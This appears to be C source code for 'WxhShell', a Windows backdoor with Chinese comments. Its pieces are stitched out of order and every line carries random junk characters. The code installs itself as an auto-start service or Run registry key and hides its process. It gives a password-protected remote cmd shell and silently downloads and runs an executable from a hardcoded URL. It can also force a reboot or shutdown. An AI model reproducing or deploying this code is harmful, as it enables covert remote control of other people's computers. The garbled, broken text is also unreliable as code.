  case 'd': { !vk|<P1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mWyqG*-Hb  
    if(Boot(SHUTDOWN)) %~jkB.\* )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <D::9c j  
    else { H_0/f8GwnG  
    closesocket(wsh); *FmTy|  
    ExitThread(0); |U_]vMq  
    } IN,(y aC  
    break; v$=QA:!U  
    } P0$e~=Q^4  
  // 获取shell Dc+'<"  
  case 's': { <a[Yk 2  
    CmdShell(wsh); P|HKn,ar  
    closesocket(wsh); i,|0@Vy  
    ExitThread(0); $DZHQH  
    break; <ERB.d!  
  } aDehqP6vf  
  // 退出 on8WQf'A#  
  case 'x': {  y2+p1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^mb[j`CCt  
    CloseIt(wsh); ^1wA:?uN}  
    break; =+x yI  
    } [Tnsr(Z  
  // 离开 kFQ8 y~>y}  
  case 'q': { EaWS. eK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jZ%TJ0(H  
    closesocket(wsh); \tRG1&{$%  
    WSACleanup(); e#B#B  
    exit(1); e5OsI Vtjr  
    break; sg8/#_S1i  
        } M{$j  
  } oX4q`rt  
  } ~`D|IWMDq  
Z(ZiFPx2Z  
  // 提示信息 HXoX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b]7GmRekl  
} /RyR>G!  
  } @?[1_g_'P  
!=y]Sv~h  
  return; ^+ wD43  
} r)T:7zy  
W;1|+6x  
// shell模块句柄 4pln5v=  
int CmdShell(SOCKET sock) Qjnd6uv{I  
{ ;P;((2_X9  
STARTUPINFO si; *#TYqCc+g  
ZeroMemory(&si,sizeof(si)); 1&/FG(*/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DaH?@Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6O@J7P  
PROCESS_INFORMATION ProcessInfo; kEO7PK/  
char cmdline[]="cmd"; 0[F:'_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fS:1^A2,  
  return 0; @m?QR(LJ  
} !I\!;b  
Y $u9%0q|?  
// 自身启动模式 k6kM'e3V  
int StartFromService(void) \3Q&~j  
{ o0ZM[0@j  
typedef struct Sggq3l$Qc  
{ 0oh]61g C  
  DWORD ExitStatus; E0/mSm"(T  
  DWORD PebBaseAddress; Z--@.IYoJ  
  DWORD AffinityMask; #UtFD^h  
  DWORD BasePriority; `y+-H|%?  
  ULONG UniqueProcessId; WO6/X/#8b  
  ULONG InheritedFromUniqueProcessId; Lw'9  
}   PROCESS_BASIC_INFORMATION; bT6sb#"W  
n$aA)"A #  
PROCNTQSIP NtQueryInformationProcess; J>^\oAgpE  
f""`cdqAOh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ms_ VM>l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `+#G+Vu5  
[Px'\ nVf  
  HANDLE             hProcess; }P3tn  
  PROCESS_BASIC_INFORMATION pbi; 'u4ezwF;  
zd]D(qeX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TrdZJ21#M  
  if(NULL == hInst ) return 0; KvQ,;A  
CAT.4GM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !vn1v)6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^VT1vu %03  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @h?shW=^  
"C?5f]T  
  if (!NtQueryInformationProcess) return 0; F/1#l@qN  
+ <c^=&7Lq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s!+"yK  
  if(!hProcess) return 0; 4Iq'/r  
z5*=MlZ)R.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jEz+1Nl)  
6r"u$i` o  
  CloseHandle(hProcess); nJ?^?M'F%  
L&-hXGx=7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0e[d=)XG  
if(hProcess==NULL) return 0; \#'TNmS  
FA90`VOWYU  
HMODULE hMod; ]0B|V2D#e  
char procName[255]; #&8}<8V  
unsigned long cbNeeded; L0%hnA@  
!'=15&5@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }<jb vCeK  
mfny4R1_  
  CloseHandle(hProcess); -;;Z 'NM;8  
i{^Z1;Yl  
if(strstr(procName,"services")) return 1; // 以服务启动 ^O^:$nXhYy  
l$*=<tV  
  return 0; // 注册表启动 Q{QYBh&  
} I NSkgOo  
"Dy'Kd%,%/  
// 主模块 Z.i{i^/#(  
int StartWxhshell(LPSTR lpCmdLine) 1\L[i];L8  
{ ~e@>zoM'^  
  SOCKET wsl; @OV-KT[>  
BOOL val=TRUE; k;dXOn  
  int port=0; z5Qs @dG  
  struct sockaddr_in door; .7ayQp  
/q\_&@  
  if(wscfg.ws_autoins) Install(); ~n!!jM:N  
Wk4.%tpeO7  
port=atoi(lpCmdLine); G+*cpn  
f DgD@YCD  
if(port<=0) port=wscfg.ws_port; Dbx~n#nG  
<uP^-bv;(  
  WSADATA data; 5wC* ?>/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]>i~6!@  
lo&#(L+2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W&"|}Pi/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $mA5@O~C5\  
  door.sin_family = AF_INET; IB9%QW"0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T:asm1BC[  
  door.sin_port = htons(port);  17g^ALs  
 1;eX&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mV9A{h  
closesocket(wsl); w-N1.^  
return 1; @LD6:gy  
} ALd;$fd qf  
oh#N 0 0X  
  if(listen(wsl,2) == INVALID_SOCKET) { &ogt2<1W  
closesocket(wsl); ]"fsW 9s  
return 1; gd@p|PsS^  
} |`yZIY_  
  Wxhshell(wsl); |f2A89  
  WSACleanup(); YJ7V`N p  
Q}2[hB  
return 0; dpN@#w  
mjnUs-`W|  
} HO|-@yOF^  
xcCl (M]+  
// 以NT服务方式启动 I12KT~z<r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7_KhV  
{ %NHYW\sKX  
DWORD   status = 0; N1--~e  
  DWORD   specificError = 0xfffffff; u~ F ;x Q  
;@4H5p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GtI6[ :1t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6DSH`-;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {6vEEU  
  serviceStatus.dwWin32ExitCode     = 0; |@VF.)_  
  serviceStatus.dwServiceSpecificExitCode = 0; bNzqls$  
  serviceStatus.dwCheckPoint       = 0; }3/~x  
  serviceStatus.dwWaitHint       = 0; J>S3sP  
*ftC_v@p5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h!]"R<QQdu  
  if (hServiceStatusHandle==0) return; X.|Ygx  
v1[_}N9f>H  
status = GetLastError(); 3-wD^4)O,  
  if (status!=NO_ERROR) {0jIY  
{ nZvU 'k:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J0<p4%Cf  
    serviceStatus.dwCheckPoint       = 0; W5DbFSgB  
    serviceStatus.dwWaitHint       = 0; sroGER .  
    serviceStatus.dwWin32ExitCode     = status; ]= x 1`j  
    serviceStatus.dwServiceSpecificExitCode = specificError; q7]>i!A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bmr<O !  
    return; ?KN:r E  
  } 0~E 6QhV:  
!r&Bn6*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \%_ZV9cKF  
  serviceStatus.dwCheckPoint       = 0; r)l`  
  serviceStatus.dwWaitHint       = 0; nTnRGf\T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )BV=|,j  
} wgd<3 X  
B1T5f1;uY  
// 处理NT服务事件,比如:启动、停止 =d20Xa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <DiOWi  
{ . 5hp0L}  
switch(fdwControl) 0-e  
{ 8cr NOZS6  
case SERVICE_CONTROL_STOP: xl!K;Y2<  
  serviceStatus.dwWin32ExitCode = 0; A]y*so!)>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .;Y x*]  
  serviceStatus.dwCheckPoint   = 0; ]O{_O&w  
  serviceStatus.dwWaitHint     = 0; J 3?Dj  
  { hH4o;0rqJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sni=gZK  
  } # 3.)H9  
  return; 71iRG*O  
case SERVICE_CONTROL_PAUSE: @&R1wr1>I5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ILG?r9 x  
  break; m4**>!I  
case SERVICE_CONTROL_CONTINUE: O2#S: ~h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :I/  
  break; 1$["79k  
case SERVICE_CONTROL_INTERROGATE: _`aR_ %Gx  
  break; L{PH0Jf  
}; =:5<{J OG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a&5g!;.  
} APHPN:v  
h(:<(o@<  
// 标准应用程序主函数 VO9f~>`(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ofwQ:0@  
{ qC j*>D  
*wUdC  
// 获取操作系统版本 0$Ff#8  
OsIsNt=GetOsVer(); _g6wQdxT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |zMqJ.qu  
jU$Y>S>l  
  // 从命令行安装 0 BC`iql5  
  if(strpbrk(lpCmdLine,"iI")) Install(); zzf7S%1I  
swZpWC  
  // 下载执行文件 [ -12]3  
if(wscfg.ws_downexe) { [h", D5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ONWO`XD  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9v?V  
} X% J%A-k]  
!GNXt4D  
if(!OsIsNt) { ,P{ HE8.  
// 如果时win9x,隐藏进程并且设置为注册表启动 v72,h  
HideProc(); ?'+8[OHiF^  
StartWxhshell(lpCmdLine); FW^.m?}|  
} C={mi#G[/  
else @.o@-3k  
  if(StartFromService()) +u#Sl)F  
  // 以服务方式启动 D=9}|b/  
  StartServiceCtrlDispatcher(DispatchTable); `@\^m_!}  
else {,v: GMsm  
  // 普通方式启动 C9Wojo.  
  StartWxhshell(lpCmdLine); 44Qk;8*  
? Q:PPqQ  
return 0; "yri[X  
} 2fBYT4*P;  
s"rg_FoL  
?z"YC&Tp  
K{FhT9R'  
=========================================== Z!)f*  
rIPl6,w~  
`r.N  
?d,M.o{0]  
H /%}R  
>W~=]&7{s4  
" J" wKRy  
{e6 KJ@H6  
#include <stdio.h> &G=0  
#include <string.h> =BW9/fG  
#include <windows.h> dqwWfn1lt  
#include <winsock2.h> iE+6UK  
#include <winsvc.h> yjv&4pIc1  
#include <urlmon.h> $P_x v  
~bFdJj 1*  
#pragma comment (lib, "Ws2_32.lib") K Dz]wNf  
#pragma comment (lib, "urlmon.lib") %%x0w^  
r4S=I   
#define MAX_USER   100 // 最大客户端连接数 k) 3s?  
#define BUF_SOCK   200 // sock buffer ;r=?BbND?  
#define KEY_BUFF   255 // 输入 buffer f~v"zT  
b\M b*o  
#define REBOOT     0   // 重启 3 9yz~  
#define SHUTDOWN   1   // 关机 |P~q/Wff  
777rE[\@b  
#define DEF_PORT   5000 // 监听端口 EFv4=OWB  
2b~ HHVruX  
#define REG_LEN     16   // 注册表键长度  L,%Z9  
#define SVC_LEN     80   // NT服务名长度 f:FpyCo=9  
U[Nosh)hu\  
// 从dll定义API "<T ~jk"u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mCG;[4gM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tKX}Ok:V%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ir>2sTrm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z^9E;  
VX&WlG`wa  
// wxhshell配置信息 U~hCn+0  
struct WSCFG { pNSst_!>  
  int ws_port;         // 监听端口 L3g9b53\  
  char ws_passstr[REG_LEN]; // 口令 V:QdQ;c  
  int ws_autoins;       // 安装标记, 1=yes 0=no `M6YblnJZ  
  char ws_regname[REG_LEN]; // 注册表键名 A_]D~HH  
  char ws_svcname[REG_LEN]; // 服务名 $BaK'7=3*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g X8**g'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m/KjJ"s,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,=x RoXYB}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e+x*psQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GGp{b>E+ #  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0hb/`[Q  
5C* ?1& !  
}; >z5Oy  
y78z>(jV  
// default Wxhshell configuration h%/ssB  
struct WSCFG wscfg={DEF_PORT, >0 7shNX  
    "xuhuanlingzhe", >waN;&>/  
    1, k5g@myb-  
    "Wxhshell", }oV3EIH  
    "Wxhshell", M-vC>u3Y  
            "WxhShell Service", bbO+%-(X  
    "Wrsky Windows CmdShell Service", dUZ$wbV%h  
    "Please Input Your Password: ", iW":DOdi_  
  1, Qz# 3p3N?  
  "http://www.wrsky.com/wxhshell.exe", s ?5 d  
  "Wxhshell.exe" q< b"M$  
    }; HmFNE$k  
l-Fmn/V  
// 消息定义模块 m_(E(_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M;V&KG Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #Af)n(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cu:-MpE  
char *msg_ws_ext="\n\rExit."; qih6me8C  
char *msg_ws_end="\n\rQuit."; .$UTH@;7  
char *msg_ws_boot="\n\rReboot..."; @{'o#EJY  
char *msg_ws_poff="\n\rShutdown..."; x}_rnf_  
char *msg_ws_down="\n\rSave to "; j_(?=7Y3g  
(e 0_RQ  
char *msg_ws_err="\n\rErr!"; jm4)gmC  
char *msg_ws_ok="\n\rOK!"; sK#H4y+<  
hl*MUD,  
char ExeFile[MAX_PATH]; eS* *L 3  
int nUser = 0; IC\E,m  
HANDLE handles[MAX_USER]; V;P1nL4L  
int OsIsNt; "Jf4N  
 .fbYB,0w  
SERVICE_STATUS       serviceStatus; l'W3=,G[?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /(y4V  
_d/GdeLs  
// 函数声明 rtcJ=`)0`  
int Install(void); 2V 4`s'  
int Uninstall(void); *>G ^!e.u  
int DownloadFile(char *sURL, SOCKET wsh); Vn@A]Jx^  
int Boot(int flag); D\n>*x  
void HideProc(void); >y&[BB7S6  
int GetOsVer(void); bJANZn|H  
int Wxhshell(SOCKET wsl); H&w(]PDh  
void TalkWithClient(void *cs); #j\*Lc"Ur:  
int CmdShell(SOCKET sock); $#TID=  
int StartFromService(void); o.p+j  
int StartWxhshell(LPSTR lpCmdLine); O.]_Ry\OXA  
md.*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }R4(B2vup  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m2jwqx{G  
 ~WzMK  
// 数据结构和表定义 ~}epq6L>  
SERVICE_TABLE_ENTRY DispatchTable[] = 3O#~dFnp  
{ \a\^(`3a[  
{wscfg.ws_svcname, NTServiceMain}, owP6dtd)  
{NULL, NULL} o]dK^[/*  
}; \o0z@Ntq  
|}l@w +N3  
// 自我安装 M0Lon/%  
int Install(void) b(g_.1[  
{ Ar\IZ_Q  
  char svExeFile[MAX_PATH]; >+zAWK9  
  HKEY key; `MN&(!&C*  
  strcpy(svExeFile,ExeFile); .%|OGl ?  
{ +i;e]c  
// 如果是win9x系统,修改注册表设为自启动 ^H f+du  
if(!OsIsNt) { =c :lS&B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >l y&+3S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !a.3OpQ  
  RegCloseKey(key); W ]a7&S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FRb&@(;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;JMOsn}8  
  RegCloseKey(key); /%2:+w  
  return 0; \Sz4Gr0g3Z  
    } V 22q*/iV  
  } ---Ks0\V  
} aa%Yk"V @  
else { U@1#!ZZ6  
95_[r$C  
// 如果是NT以上系统,安装为系统服务 46QYXmNQ}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J[I"/sdk-  
if (schSCManager!=0) ,e}mR>i=e  
{ *?EjYI  
  SC_HANDLE schService = CreateService fx8y`8}_  
  ( gEcnn .(S  
  schSCManager, CD XB&%Sr  
  wscfg.ws_svcname, -`<6=[QUO  
  wscfg.ws_svcdisp, 8Cf^$  
  SERVICE_ALL_ACCESS, @h,h=X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , < P?3GT/  
  SERVICE_AUTO_START, EKeBTb  
  SERVICE_ERROR_NORMAL, 3C E 39W  
  svExeFile, F] dmc,Q  
  NULL, Enq6K1@%G  
  NULL, Gnuo-8lb  
  NULL, u* #-7   
  NULL, GQEI f$  
  NULL oyi7YRvwd  
  ); e<ism?WG  
  if (schService!=0) (h'$3~  
  { %[+a[/  
  CloseServiceHandle(schService); 4GmSG,]  
  CloseServiceHandle(schSCManager); 4]|9!=\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~ wJ3AqNC?  
  strcat(svExeFile,wscfg.ws_svcname); d()zW7}W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =R"Eb1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S)Ub/`f{s  
  RegCloseKey(key); -(%ar%~Zd  
  return 0; S'v V"  
    } mmpr]cT@'k  
  } %_%f# S  
  CloseServiceHandle(schSCManager); ZC9.R$}Kl  
} l,^i5t'  
} Y;~~?[6  
b7>,-O  
return 1; .f?qUg  
} aHVdClD2o  
m=("N  
// 自我卸载 #NVF\  
int Uninstall(void) >yPFL'  
{ 8VAYIxRv  
  HKEY key; =0!\F~  
Jm*M7g j  
if(!OsIsNt) { ]IbPWBX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _taHf %\4  
  RegDeleteValue(key,wscfg.ws_regname); `K@df<}%*,  
  RegCloseKey(key); tehI!->l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F'Y 2f6B  
  RegDeleteValue(key,wscfg.ws_regname); Jfixm=.6  
  RegCloseKey(key); } K hq  
  return 0; \h'E5LO  
  } +cE tm  
} :DJ7d  
} -KU)7V  
else { 8R??J>h5\  
avbr7X(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S$kuhK>W!  
if (schSCManager!=0) 6iV"Tl{z-  
{ 9wYtOQ{g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JtrDZ;^@  
  if (schService!=0) c|!A?>O?i  
  { zvK5Zxl  
  if(DeleteService(schService)!=0) { 8KL_PwRX_f  
  CloseServiceHandle(schService); +{=_|3(  
  CloseServiceHandle(schSCManager); \+evZ{Pu  
  return 0; y}:)cA~o(y  
  } H2FFw-xW  
  CloseServiceHandle(schService); DESViQM  
  } LGo@F;!n  
  CloseServiceHandle(schSCManager); +~i+k~{`H  
} 0:B^  
} mrLx]og,  
057G;u/  
return 1; 8.;';[  
} P9tQS"Rs  
/qz "I-a  
// 从指定url下载文件 |au qj2  
int DownloadFile(char *sURL, SOCKET wsh) >kDdWgRQ  
{ 4W//Oc@e  
  HRESULT hr; XnI ;7J  
char seps[]= "/"; "jQe\  
char *token; tM PX vE  
char *file; mZ0oa-Iy  
char myURL[MAX_PATH]; % Dr4~7=7a  
char myFILE[MAX_PATH]; a@_Cx  
~=AKX(Q  
strcpy(myURL,sURL); >$S,>d_k`  
  token=strtok(myURL,seps); yzM+28}L<I  
  while(token!=NULL) TXh@  
  { vX0I^ 8.  
    file=token; eEri v@v  
  token=strtok(NULL,seps); g0:4zeL  
  } f;tyoN0wHx  
mTuB*  
GetCurrentDirectory(MAX_PATH,myFILE); E][{RTs  
strcat(myFILE, "\\"); N>nvt.`P  
strcat(myFILE, file); |n6 Q  
  send(wsh,myFILE,strlen(myFILE),0); `d|bH; w  
send(wsh,"...",3,0); z)Q^j>%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kFIB lPV  
  if(hr==S_OK) ng&EGM  
return 0; 8$<AxNR  
else @gqs4cg{f  
return 1; )D@n?qbG  
`F+x]<m!  
} *A1TDc$  
}jY[| >z  
// 系统电源模块 #!d^3iB2  
int Boot(int flag) -IE P?NX  
{ tId !C  
  HANDLE hToken; hte9l)  
  TOKEN_PRIVILEGES tkp; _hyxKrm' 6  
^B!?;\4IM  
  if(OsIsNt) { k]/6/s\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gUszMhHX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7+!7]'V  
    tkp.PrivilegeCount = 1; =Wy`X0h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dK;\`>8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3 cW"VrFy9  
if(flag==REBOOT) { 1DlcO>#@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?^$4)Y>Kf  
  return 0; UrcN?  
} 4d._Hd='  
else { 73z|'0.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \y )4`A  
  return 0; q>:&xR"ra  
} .f<VmUca  
  } A{Htpm~  
  else { aLk2#1$g  
if(flag==REBOOT) { m3xj5]#^$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AW&s-b%P  
  return 0; P~ pbx  
} 4x{ti5Y0  
else { U8$dG)PhA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RGA*7  
  return 0; V1#aDfiW  
} wYMX1=  
} MVv^KezD  
G{Enh<V  
return 1; cA SHgm  
} v_h*:c  
Eg29|)qsz  
// win9x进程隐藏模块 ;,-Vapz  
void HideProc(void) %e<dV\x?T  
{ )$4DH:WN  
Hpg;?xAT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :@Dos'0Px  
  if ( hKernel != NULL ) 3 DHA^9<q  
  { `h3}"js  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M>gZVB,eP>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  de47O  
    FreeLibrary(hKernel); T>%ny\?tHW  
  } xLK0~|_#!  
j4r,_lH^r  
return; "I FGW4FnL  
} 9ufs6 z  
hBE>ea  
// 获取操作系统版本 5m?$\h  
int GetOsVer(void) M #&L@fg!  
{ ~'.yhPo g  
  OSVERSIONINFO winfo; O~'yP @&`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;O|63  
  GetVersionEx(&winfo); 2B dr#qr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xF|*N<9(</  
  return 1; .LR>&N_U  
  else Z?' |9FM  
  return 0; ea>\.D-S  
} B&N&eRAE  
Z`c{LYP,y"  
// 客户端句柄模块 #de^~  
int Wxhshell(SOCKET wsl) -Ep6 .v  
{ aW$nNUVD  
  SOCKET wsh; Z x%@wH~  
  struct sockaddr_in client; 4yv31QG$  
  DWORD myID; RcP5].^T  
iZ\z!tHR  
  while(nUser<MAX_USER) -JK4-Hg  
{ ?+=|{{l  
  int nSize=sizeof(client); yvisoZX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j1+Y=@MA  
  if(wsh==INVALID_SOCKET) return 1; yLOLv6g~e  
+ aqo8'a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kp8T;&<Iay  
if(handles[nUser]==0) s2=X>,kz?  
  closesocket(wsh); S9oGf  
else Rj`Y X0?+  
  nUser++; S`w)b'B!M  
  } !PIdw~YC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <j3HT"^[D  
D07u?  
  return 0; *S_Iza #&x  
} y<d#sv(s  
Asu"#sd  
// 关闭 socket J3+8s [oJ>  
void CloseIt(SOCKET wsh) P< x  
{ <U pjAuG8  
closesocket(wsh); }h6z&:qA[?  
nUser--; TN`:T.B  
ExitThread(0); yo?Q%w'Nh  
} Ps\^OJR  
t&]Mt 7  
// 客户端请求句柄 f"^tOgGH  
void TalkWithClient(void *cs) 6J+ZeBk??  
{ 9(j!#`O7&  
6E]rxps}"  
  SOCKET wsh=(SOCKET)cs; r'\TS U5!  
  char pwd[SVC_LEN]; ".D +# 2Kl  
  char cmd[KEY_BUFF]; j~q`xv+R  
char chr[1]; Mwc3@  
int i,j; D/UGN+  
_I4sy=tYXK  
  while (nUser < MAX_USER) { q:.BY}X9  
dxWw%_Q  
if(wscfg.ws_passstr) { = g}yA=.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =LnAMl#9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]]3D` F}  
  //ZeroMemory(pwd,KEY_BUFF); [F EQ@  
      i=0; $8r:&Iw  
  while(i<SVC_LEN) { A,qG*lv  
pj]<i.p  
  // 设置超时 +(%[fW  
  fd_set FdRead; 3: Uik  
  struct timeval TimeOut; O_^h 7   
  FD_ZERO(&FdRead); >O~5s.1u  
  FD_SET(wsh,&FdRead);  ?~IZ{!  
  TimeOut.tv_sec=8; '7s!N F2  
  TimeOut.tv_usec=0; 54w-yY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Lai"D[N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Shz;)0To  
m@~x*+Iz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IhLfuyFWu  
  pwd=chr[0]; 0aWb s$FyU  
  if(chr[0]==0xd || chr[0]==0xa) { Q,`kfxA`O  
  pwd=0; 2_X0Og8s[  
  break; CI{x/ e^(  
  } GNOC5 E$I  
  i++; O]lfs >>x  
    } nT"z(\i.!J  
{+Yo&F}n  
  // 如果是非法用户,关闭 socket Dy!fwYPA/{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,RQ-w2j?  
} &)-?=M  
H #_Z6J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [_n|n"M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G2D<LRWt4  
DAW%?(\,  
while(1) { G\%hT5^  
4+Y5u4 `t  
  ZeroMemory(cmd,KEY_BUFF); _wCSL.  
e$=|-J z  
      // 自动支持客户端 telnet标准   J?'!8,RX  
  j=0; X)m2{@v D  
  while(j<KEY_BUFF) { \ua.%|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g\'sGt3O  
  cmd[j]=chr[0]; 2|BE{91  
  if(chr[0]==0xa || chr[0]==0xd) { -; }Wm[  
  cmd[j]=0; ^ a:F*<D  
  break; kx[8#+P  
  } E<dN=#f6  
  j++; &&O=v]6,V  
    } O5 SX"A  
?*,q#ZkA9W  
  // 下载文件 ^MUM04l  
  if(strstr(cmd,"http://")) { ?9+;[X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UlrY  
  if(DownloadFile(cmd,wsh)) ikQ2x]Sp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q*: Ow]  
  else *F0N'*  
